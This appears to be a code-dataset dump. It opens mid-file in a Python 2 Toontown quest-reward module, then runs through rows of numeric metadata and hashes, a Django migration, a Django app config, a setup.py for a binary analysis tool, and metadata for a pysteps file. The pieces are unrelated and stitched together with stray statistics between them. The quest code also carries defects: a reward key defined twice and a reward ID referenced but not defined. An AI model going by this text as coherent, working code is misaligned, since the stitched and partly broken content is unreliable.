1009: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 9), 1010: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 10), 1011: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 11), 1012: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 12), 1013: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 13), 1014: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 14), 1015: (TrackProgressReward, ToontownBattleGlobals.HEAL_TRACK, 15), 1101: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 1), 1102: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 2), 1103: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 3), 1104: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 4), 1105: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 5), 1106: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 6), 1107: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 7), 1108: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 8), 1109: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 9), 1110: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 10), 1111: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 11), 1112: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 12), 1113: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 13), 1114: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 14), 1115: (TrackProgressReward, ToontownBattleGlobals.TRAP_TRACK, 15), 1201: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 1), 1202: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 2), 1203: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 3), 1204: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 4), 1205: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 5), 1206: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 6), 1207: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 7), 1208: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 8), 1209: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 9), 1210: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 10), 1211: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 11), 1212: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 12), 1213: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 13), 1214: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 14), 1215: (TrackProgressReward, ToontownBattleGlobals.LURE_TRACK, 15), 1301: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 1), 1302: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 2), 1303: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 3), 1304: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 4), 1305: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 5), 1306: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 6), 1307: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 7), 1308: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 8), 1309: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 9), 1310: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 10), 1311: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 11), 1312: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 12), 1313: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 13), 1314: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 14), 1315: (TrackProgressReward, ToontownBattleGlobals.SOUND_TRACK, 15), 1601: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 1), 1602: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 2), 1603: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 3), 1604: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 4), 1605: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 5), 1606: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 6), 1607: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 7), 1608: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 8), 1609: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 9), 1610: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 10), 1611: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 11), 1612: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 12), 1613: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 13), 1614: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 14), 1615: (TrackProgressReward, ToontownBattleGlobals.ZAP_TRACK, 15), 1701: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 1), 1702: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 2), 1703: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 3), 1704: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 4), 1705: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 5), 1706: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 6), 1707: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 7), 1708: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 8), 1709: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 9), 1710: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 10), 1711: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 11), 1712: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 12), 1713: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 13), 1714: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 14), 1715: (TrackProgressReward, ToontownBattleGlobals.DROP_TRACK, 15), 900: (TrackCompleteReward, None), 901: (TrackCompleteReward, ToontownBattleGlobals.HEAL_TRACK), 902: (TrackCompleteReward, ToontownBattleGlobals.TRAP_TRACK), 903: (TrackCompleteReward, ToontownBattleGlobals.LURE_TRACK), 904: (TrackCompleteReward, ToontownBattleGlobals.SOUND_TRACK), 905: (TrackCompleteReward, ToontownBattleGlobals.THROW_TRACK), 906: (TrackCompleteReward, ToontownBattleGlobals.SQUIRT_TRACK), 907: (TrackCompleteReward, ToontownBattleGlobals.ZAP_TRACK), 908: (TrackCompleteReward, ToontownBattleGlobals.DROP_TRACK), 2205: (CheesyEffectReward, ToontownGlobals.CEBigToon, 2000, 10), 2206: (CheesyEffectReward, ToontownGlobals.CESmallToon, 2000, 10), 2101: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1000, 10), 2102: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1000, 10), 2103: (CheesyEffectReward, ToontownGlobals.CEWire, 1000, 10), 2105: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 20), 2106: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 20), 2107: (CheesyEffectReward, ToontownGlobals.CEWire, 0, 20), 2501: (CheesyEffectReward, ToontownGlobals.CEBigHead, 5000, 60), 2502: (CheesyEffectReward, ToontownGlobals.CESmallHead, 5000, 60), 2503: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 5000, 20), 2504: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 5000, 20), 2505: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 60), 2506: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 60), 2507: (CheesyEffectReward, ToontownGlobals.CEWire, 0, 60), 2401: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1, 120), 2402: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1, 120), 2403: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 4000, 60), 2404: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 4000, 60), 2405: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 120), 2406: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 120), 2407: (CheesyEffectReward, ToontownGlobals.CEFlatPortrait, 4000, 30), 2408: (CheesyEffectReward, ToontownGlobals.CEFlatProfile, 4000, 30), 2409: (CheesyEffectReward, ToontownGlobals.CETransparent, 4000, 30), 2410: (CheesyEffectReward, ToontownGlobals.CENoColor, 4000, 30), 2411: (CheesyEffectReward, ToontownGlobals.CEWire, 4000, 30), 2301: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1, 360), 2302: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1, 360), 2303: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 1, 360), 2304: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 1, 360), 2305: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 1440), 2306: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 1440), 2307: (CheesyEffectReward, ToontownGlobals.CEFlatPortrait, 3000, 240), 2308: (CheesyEffectReward, ToontownGlobals.CEFlatProfile, 3000, 240), 2309: (CheesyEffectReward, ToontownGlobals.CETransparent, 1, 120), 2310: (CheesyEffectReward, ToontownGlobals.CENoColor, 1, 120), 2311: (CheesyEffectReward, ToontownGlobals.CEInvisible, 3000, 120), 2312: (CheesyEffectReward, ToontownGlobals.CEWire, 3000, 120), 2900: (CheesyEffectReward, ToontownGlobals.CENormal, 0, 0), 2901: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1, 1440), 2902: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1, 1440), 2903: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 1, 1440), 2904: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 1, 1440), 2905: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 1440), 2906: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 1440), 2907: (CheesyEffectReward, ToontownGlobals.CEFlatPortrait, 1, 1440), 2908: (CheesyEffectReward, ToontownGlobals.CEFlatProfile, 1, 1440), 2909: (CheesyEffectReward, ToontownGlobals.CETransparent, 1, 1440), 2910: (CheesyEffectReward, ToontownGlobals.CENoColor, 1, 1440), 2911: (CheesyEffectReward, ToontownGlobals.CEInvisible, 1, 1440), 2911: (CheesyEffectReward, ToontownGlobals.CEWire, 1, 1440), 2920: (CheesyEffectReward, ToontownGlobals.CENormal, 0, 0), 2921: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1, 2880), 2922: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1, 2880), 2923: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 1, 2880), 2924: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 1, 2880), 2925: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 2880), 2926: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 2880), 2927: (CheesyEffectReward, ToontownGlobals.CEFlatPortrait, 1, 2880), 2928: (CheesyEffectReward, ToontownGlobals.CEFlatProfile, 1, 2880), 2929: (CheesyEffectReward, ToontownGlobals.CETransparent, 1, 2880), 2930: (CheesyEffectReward, ToontownGlobals.CENoColor, 1, 2880), 2931: (CheesyEffectReward, ToontownGlobals.CEInvisible, 1, 2880), 2932: (CheesyEffectReward, ToontownGlobals.CEWire, 1, 2880), 2940: (CheesyEffectReward, ToontownGlobals.CENormal, 0, 0), 2941: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1, 10080), 2942: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1, 10080), 2943: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 1, 10080), 2944: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 1, 10080), 2945: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 10080), 2946: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 10080), 2947: (CheesyEffectReward, ToontownGlobals.CEFlatPortrait, 1, 10080), 2948: (CheesyEffectReward, ToontownGlobals.CEFlatProfile, 1, 10080), 2949: (CheesyEffectReward, ToontownGlobals.CETransparent, 1, 10080), 2950: (CheesyEffectReward, ToontownGlobals.CENoColor, 1, 10080), 2951: (CheesyEffectReward, ToontownGlobals.CEInvisible, 1, 10080), 2952: (CheesyEffectReward, ToontownGlobals.CEWire, 1, 10080), 2960: (CheesyEffectReward, ToontownGlobals.CENormal, 0, 0), 2961: (CheesyEffectReward, ToontownGlobals.CEBigHead, 1, 43200), 2962: (CheesyEffectReward, ToontownGlobals.CESmallHead, 1, 43200), 2963: (CheesyEffectReward, ToontownGlobals.CEBigLegs, 1, 43200), 2964: (CheesyEffectReward, ToontownGlobals.CESmallLegs, 1, 43200), 2965: (CheesyEffectReward, ToontownGlobals.CEBigToon, 0, 43200), 2966: (CheesyEffectReward, ToontownGlobals.CESmallToon, 0, 43200), 2967: (CheesyEffectReward, ToontownGlobals.CEFlatPortrait, 1, 43200), 2968: (CheesyEffectReward, ToontownGlobals.CEFlatProfile, 1, 43200), 2969: (CheesyEffectReward, ToontownGlobals.CETransparent, 1, 43200), 2970: (CheesyEffectReward, ToontownGlobals.CENoColor, 1, 43200), 2971: (CheesyEffectReward, ToontownGlobals.CEInvisible, 1, 43200), 2972: (CheesyEffectReward, ToontownGlobals.CEWire, 1, 43200), 4000: (CogSuitPartReward, 'm', CogDisguiseGlobals.leftLegUpper), 4001: (CogSuitPartReward, 'm', CogDisguiseGlobals.leftLegLower), 4002: (CogSuitPartReward, 'm', CogDisguiseGlobals.leftLegFoot), 4003: (CogSuitPartReward, 'm', CogDisguiseGlobals.rightLegUpper), 4004: (CogSuitPartReward, 'm', CogDisguiseGlobals.rightLegLower), 4005: (CogSuitPartReward, 'm', CogDisguiseGlobals.rightLegFoot), 4006: (CogSuitPartReward, 'm', CogDisguiseGlobals.upperTorso), 4007: (CogSuitPartReward, 'm', CogDisguiseGlobals.torsoPelvis), 4008: (CogSuitPartReward, 'm', CogDisguiseGlobals.leftArmUpper), 4009: (CogSuitPartReward, 'm', CogDisguiseGlobals.leftArmLower), 4010: (CogSuitPartReward, 'm', CogDisguiseGlobals.rightArmUpper), 4011: (CogSuitPartReward, 'm', CogDisguiseGlobals.rightArmLower), 4100: (CogSuitPartReward, 'l', CogDisguiseGlobals.leftLegUpper), 4101: (CogSuitPartReward, 'l', CogDisguiseGlobals.leftLegLower), 4102: (CogSuitPartReward, 'l', CogDisguiseGlobals.leftLegFoot), 4103: (CogSuitPartReward, 'l', CogDisguiseGlobals.rightLegUpper), 4104: (CogSuitPartReward, 'l', CogDisguiseGlobals.rightLegLower), 4105: (CogSuitPartReward, 'l', CogDisguiseGlobals.rightLegFoot), 4106: (CogSuitPartReward, 'l', CogDisguiseGlobals.upperTorso), 4107: (CogSuitPartReward, 'l', CogDisguiseGlobals.torsoPelvis), 4108: (CogSuitPartReward, 'l', CogDisguiseGlobals.leftArmUpper), 4109: (CogSuitPartReward, 'l', CogDisguiseGlobals.leftArmLower), 4110: (CogSuitPartReward, 'l', CogDisguiseGlobals.leftArmHand), 4111: (CogSuitPartReward, 'l', CogDisguiseGlobals.rightArmUpper), 4112: (CogSuitPartReward, 'l', CogDisguiseGlobals.rightArmLower), 4113: (CogSuitPartReward, 'l', CogDisguiseGlobals.rightArmHand), 4200: (CogSuitPartReward, 'c', CogDisguiseGlobals.leftLegUpper), 4201: (CogSuitPartReward, 'c', CogDisguiseGlobals.leftLegLower), 4202: (CogSuitPartReward, 'c', CogDisguiseGlobals.leftLegFoot), 4203: (CogSuitPartReward, 'c', CogDisguiseGlobals.rightLegUpper), 4204: (CogSuitPartReward, 'c', CogDisguiseGlobals.rightLegLower), 4205: (CogSuitPartReward, 'c', CogDisguiseGlobals.rightLegFoot), 4206: (CogSuitPartReward, 'c', CogDisguiseGlobals.torsoLeftShoulder), 4207: (CogSuitPartReward, 'c', CogDisguiseGlobals.torsoRightShoulder), 4208: (CogSuitPartReward, 'c', CogDisguiseGlobals.torsoChest), 4209: (CogSuitPartReward, 'c', CogDisguiseGlobals.torsoHealthMeter), 4210: (CogSuitPartReward, 'c', CogDisguiseGlobals.torsoPelvis), 4211: (CogSuitPartReward, 'c', CogDisguiseGlobals.leftArmUpper), 4212: (CogSuitPartReward, 'c', CogDisguiseGlobals.leftArmLower), 4213: (CogSuitPartReward, 'c', CogDisguiseGlobals.leftArmHand), 4214: (CogSuitPartReward, 'c', CogDisguiseGlobals.rightArmUpper), 4215: (CogSuitPartReward, 'c', CogDisguiseGlobals.rightArmLower), 4216: (CogSuitPartReward, 'c', CogDisguiseGlobals.rightArmHand)} def getNumTiers(): return len(RequiredRewardTrackDict) - 1 def isLoopingFinalTier(tier): return tier == LOOPING_FINAL_TIER def getRewardsInTier(tier): return RequiredRewardTrackDict.get(tier, []) def getNumRewardsInTier(tier): return len(RequiredRewardTrackDict.get(tier, [])) def rewardTierExists(tier): return RequiredRewardTrackDict.has_key(tier) def getOptionalRewardsInTier(tier): return OptionalRewardTrackDict.get(tier, []) def getRewardIdFromTrackId(trackId): return 401 + trackId RequiredRewardTrackDict = {TT_TIER: (500, 100), TT_TIER + 1: (400,), TT_TIER + 2: (100, 801, 200, 802, 803, 102, 804, 805, 102, 806, 807, 100, 808, 809, 101, 810, 811, 501, 812, 813, 700, 814, 815, 300), TT_TIER + 3: (900,), DD_TIER: (400,), DD_TIER + 1: (101, 801, 802, 201, 803, 804, 100, 805, 806, 102, 807, 808, 100, 809, 810, 101, 811, 812, 701, 813, 814, 815, 301), DD_TIER + 2: (900,), DG_TIER: (400,), DG_TIER + 1: (100, 801, 802, 202, 803, 804, 102, 805, 806, 100, 807, 808, 101, 809, 810, 502, 811, 812, 813, 702, 814, 815, 302), DG_TIER + 2: (900,), MM_TIER: (303, 100, 101, 102, 203, 101, 101, 703), BR_TIER: (400,), BR_TIER + 1: (100, 801, 802, 204, 803, 804, 101, 805, 806, 807, 808, 102, 809, 810, 704, 811, 812, 100, 813, 814, 101, 815, 304), BR_TIER + 2: (900,), DL_TIER: (109, 205, 705, 305), DL_TIER + 1: (100, 206, 101, 102, 706, 103), DL_TIER + 2: (100, 101, 102, 103, 207), DL_TIER + 3: (100, 101, 102, 102, 707), FINAL_TIER: (306, 307, 308, 309, 101), ELDER_TIER: ()} OptionalRewardTrackDict = {TT_TIER: (), TT_TIER + 1: (), TT_TIER + 2: (1000, 601, 601, 602, 602, 2205, 2206, 2205, 2206), TT_TIER + 3: (601, 601, 602, 602, 2205, 2206, 2205, 2206), DD_TIER: (1000, 601, 602, 603, 603, 2101, 2102, 2105, 2106), DD_TIER + 1: (1000, 602, 602, 603, 603, 2101, 2102, 2105, 2106), DD_TIER + 2: (1000, 602, 602, 603, 603, 2101, 2102, 2105, 2106), DG_TIER: (1000, 603, 603, 604, 604, 2501, 2502, 2503, 2504, 2505, 2506, 2411), MM_TIER: (1000, 604, 604, 605, 605, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2411), DG_TIER + 1: (1000, 604, 604, 605, 605, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2411), DG_TIER + 2: (1000, 604, 604, 605, 605, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2411), BR_TIER: (1000, 606, 606, 606, 606, 606, 607, 607, 607, 607, 607, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312), BR_TIER + 1: (1000, 606, 606, 606, 606, 606, 607, 607, 607, 607, 607, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312), BR_TIER + 2: (1000, 606, 606, 606, 606, 606, 607, 607, 607, 607, 607, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312), DL_TIER: (607, 607, 607, 607, 608, 608, 608, 608, 2901, 2902, 2907, 2908, 2909, 2910, 2911, 2912), DL_TIER + 1: (1000, 607, 607, 607, 607, 608, 608, 608, 608, 2923, 2924, 2927, 2928, 2929, 2930, 2931, 2932), DL_TIER + 2: (608, 608, 608, 608, 609, 609, 609, 609, 2941, 2942, 2943, 2944, 2947, 2948, 2949, 2950, 2951, 2952), DL_TIER + 3: (1000, 609, 609, 609, 609, 609, 609, 2961, 2962, 2963, 2964, 2965, 2966, 2967, 2968, 2969, 2970, 2971, 2972), ELDER_TIER: (1000, 1000, 610, 611, 612, 613, 614, 615, 616, 617, 618, 2961, 2962, 2963, 2964, 2965, 2966, 2967, 2968, 2969, 2970, 2971, 2972)} def isRewardOptional(tier, rewardId): return OptionalRewardTrackDict.has_key(tier) and rewardId in OptionalRewardTrackDict[tier] def getItemName(itemId): return ItemDict[itemId][0] def getPluralItemName(itemId): return ItemDict[itemId][1] def avatarHasTrolleyQuest(av): return len(av.quests) == 1 and av.quests[0][0] == TROLLEY_QUEST_ID def avatarHasCompletedTrolleyQuest(av): return av.quests[0][4] > 0 def avatarHasFirstCogQuest(av): return len(av.quests) == 1 and av.quests[0][0] == FIRST_COG_QUEST_ID def avatarHasCompletedFirstCogQuest(av): return av.quests[0][4] > 0 def avatarHasFriendQuest(av): return False def avatarHasCompletedFriendQuest(av): return True def avatarHasPhoneQuest(av): return False def avatarHasCompletedPhoneQuest(av): return True def avatarWorkingOnRequiredRewards(av): tier = av.getRewardTier() rewardList = list(getRewardsInTier(tier)) for i in range(len(rewardList)): actualRewardId = transformReward(rewardList[i], av) rewardList[i] = actualRewardId for questDesc in av.quests: questId = questDesc[0] rewardId = questDesc[3] if rewardId in rewardList: return 1 elif rewardId == NA: rewardId = transformReward(getFinalRewardId(questId, fAll=1), av) if rewardId in rewardList: return 1 return 0 def avatarHasAllRequiredRewards(av, tier): # Get the reward history. rewardHistory = list(av.getRewardHistory()[1]) # Delete quests we're working on from the reward History. avQuests = av.getQuests() # Iterate through the current quests. for i in xrange(0, len(avQuests), 5): questDesc = avQuests[i:i + 5] questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc transformedRewardId = transformReward(rewardId, av) if rewardId in rewardHistory: rewardHistory.remove(rewardId) if transformedRewardId in rewardHistory: rewardHistory.remove(transformedRewardId) rewardList = getRewardsInTier(tier) notify.debug('checking avatarHasAllRequiredRewards: history: %s, tier: %s' % (rewardHistory, rewardList)) for rewardId in rewardList: if rewardId == 900: found = 0 for actualRewardId in (901, 902, 903, 904, 905, 906, 907, 908): if actualRewardId in rewardHistory: found = 1 rewardHistory.remove(actualRewardId) if notify.getDebug(): notify.debug('avatarHasAllRequiredRewards: rewardId 900 found as: %s' % actualRewardId) break if not found: if notify.getDebug(): notify.debug('avatarHasAllRequiredRewards: rewardId 900 not found') return 0 else: actualRewardId = transformReward(rewardId, av) if actualRewardId in rewardHistory: rewardHistory.remove(actualRewardId) else: if notify.getDebug(): notify.debug('avatarHasAllRequiredRewards: rewardId %s not found' % actualRewardId) return 0 if notify.getDebug(): notify.debug('avatarHasAllRequiredRewards: remaining rewards: %s' % rewardHistory) for rewardId in rewardHistory: if not isRewardOptional(tier, rewardId): notify.warning('required reward found, expected only optional: %s' % rewardId) return 1 def nextQuestList(nextQuest): if nextQuest == NA: return None seqTypes = (types.ListType, types.TupleType) if type(nextQuest) in seqTypes: return nextQuest else: return (nextQuest,) return None def checkReward(questId, forked = 0): quest = QuestDict[questId] reward = quest[5] nextQuests = nextQuestList(quest[6]) if nextQuests is None: validRewards = RewardDict.keys() + [Any, AnyCashbotSuitPart, AnyLawbotSuitPart, OBSOLETE] if reward is OBSOLETE: print 'warning: quest %s is obsolete' % questId return reward else: forked = forked or len(nextQuests) > 1 firstReward = checkReward(nextQuests[0], forked) for qId in nextQuests[1:]: thisReward = checkReward(qId, forked) return firstReward return def assertAllQuestsValid(): print 'checking quests...' for questId in QuestDict.keys(): try: quest = getQuest(questId) except AssertionError, e: err = 'invalid quest: %s' % questId print err raise for questId in QuestDict.keys(): quest = QuestDict[questId] tier, start, questDesc, fromNpc, toNpc, reward, nextQuest, dialog = quest if start: checkReward(questId)
21.136223
216
0.504625
33,698
408,690
6.047659
0.087631
0.044781
0.046689
0.101868
0.644774
0.584252
0.443968
0.3408
0.292114
0.264856
0
0.075417
0.397348
408,690
19,335
217
21.137316
0.752012
0.000281
0
0.79404
0
0
0.014269
0.001023
0
0
0
0
0.000108
0
null
null
0.000323
0.000753
null
null
0.000538
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
e0bdc55d5a0de51054f0018bdabde5f1a8561efc
869
py
Python
waters/migrations/0004_auto_20200514_2231.py
chymdyugah/water
fa5da223e57100e6d2853c763afe5e89187e249d
[ "MIT" ]
null
null
null
waters/migrations/0004_auto_20200514_2231.py
chymdyugah/water
fa5da223e57100e6d2853c763afe5e89187e249d
[ "MIT" ]
null
null
null
waters/migrations/0004_auto_20200514_2231.py
chymdyugah/water
fa5da223e57100e6d2853c763afe5e89187e249d
[ "MIT" ]
null
null
null
# Generated by Django 2.2.2 on 2020-05-14 21:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('waters', '0003_product_product_image'), ] operations = [ migrations.RenameField( model_name='product', old_name='product_desc', new_name='description', ), migrations.RenameField( model_name='product', old_name='product_image', new_name='image', ), migrations.RenameField( model_name='product', old_name='product_name', new_name='name', ), migrations.AddField( model_name='product', name='price', field=models.PositiveIntegerField(default=100), preserve_default=False, ), ]
24.828571
59
0.552359
80
869
5.7875
0.475
0.166307
0.138229
0.194384
0.330454
0.330454
0.330454
0.330454
0
0
0
0.038328
0.339471
869
34
60
25.558824
0.768293
0.051784
0
0.392857
1
0
0.148418
0.03163
0
0
0
0
0
1
0
false
0
0.035714
0
0.142857
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e0d9af2c5dde4a2e0a7baf729931d196f987fd32
241
py
Python
idcops/apps.py
GriffinChou/sjy_web_v1
0468b2da230816ac00217e75fca5597eb421460a
[ "Apache-2.0" ]
null
null
null
idcops/apps.py
GriffinChou/sjy_web_v1
0468b2da230816ac00217e75fca5597eb421460a
[ "Apache-2.0" ]
null
null
null
idcops/apps.py
GriffinChou/sjy_web_v1
0468b2da230816ac00217e75fca5597eb421460a
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class IdcopsConfig(AppConfig): name = 'idcops' verbose_name = "神经元管理平台" def ready(self): from idcops.lib import signals
20.083333
39
0.697095
29
241
5.586207
0.758621
0
0
0
0
0
0
0
0
0
0
0.005236
0.207469
241
11
40
21.909091
0.842932
0.087137
0
0
0
0
0.059633
0
0
0
0
0
0
1
0.142857
false
0
0.428571
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
e0f01b44683398edd75e2e72378763196f42fb95
1,041
py
Python
src/setup.py
secuof/binaryanalysis
5937fbb7e55f3a0808f31ee4f9e75b859d98c012
[ "Apache-2.0" ]
78
2016-09-29T08:26:50.000Z
2022-02-21T23:41:23.000Z
src/setup.py
secuof/binaryanalysis
5937fbb7e55f3a0808f31ee4f9e75b859d98c012
[ "Apache-2.0" ]
7
2016-10-14T14:32:00.000Z
2018-03-17T17:28:42.000Z
src/setup.py
secuof/binaryanalysis
5937fbb7e55f3a0808f31ee4f9e75b859d98c012
[ "Apache-2.0" ]
50
2016-10-05T06:22:38.000Z
2022-02-03T16:08:48.000Z
#!/usr/bin/env python from distutils.core import setup import glob import os.path setup(name='bat', version='37.0', description='Binary Analysis Tool', author='Binary Analysis Project', author_email='info@binaryanalysis.org', url='http://www.binaryanalysis.org/', packages=['bat'], license="Apache 2.0", scripts=['maintenance/busybox-appletname-extractor.py', 'maintenance/clonedbinit.py', 'bat-scan', 'busybox-compare-configs.py'], data_files=[ ('/etc/bat', ['bat-scan.config']), ], long_description="""The Binary Analysis Tool is a modular framework that assists with auditing the contents of compiled software. It makes it easier and cheaper to look inside technology, and this helps compliance and due diligence activities. The tool is freely available to everyone. The community can use it and participate in further development, and work together to help reduce errors when shipping devices or products containing Free and Open Source Software.""" )
40.038462
134
0.715658
138
1,041
5.376812
0.731884
0.056604
0.048518
0
0
0
0
0
0
0
0
0.005855
0.179635
1,041
25
135
41.64
0.862998
0.019212
0
0
0
0
0.67549
0.115686
0
0
0
0
0
1
0
true
0
0.142857
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
e0fdf738cb8dc31b42b6f3eb2f655bbfb037994d
2,636
py
Python
pysteps/cascade/interface.py
fox91/pysteps
dce3b8e7acffeffedcdddb7dd3cfaa497f758446
[ "BSD-3-Clause" ]
1
2021-08-25T03:07:07.000Z
2021-08-25T03:07:07.000Z
pysteps/cascade/interface.py
fox91/pysteps
dce3b8e7acffeffedcdddb7dd3cfaa497f758446
[ "BSD-3-Clause" ]
null
null
null
pysteps/cascade/interface.py
fox91/pysteps
dce3b8e7acffeffedcdddb7dd3cfaa497f758446
[ "BSD-3-Clause" ]
null
null
null
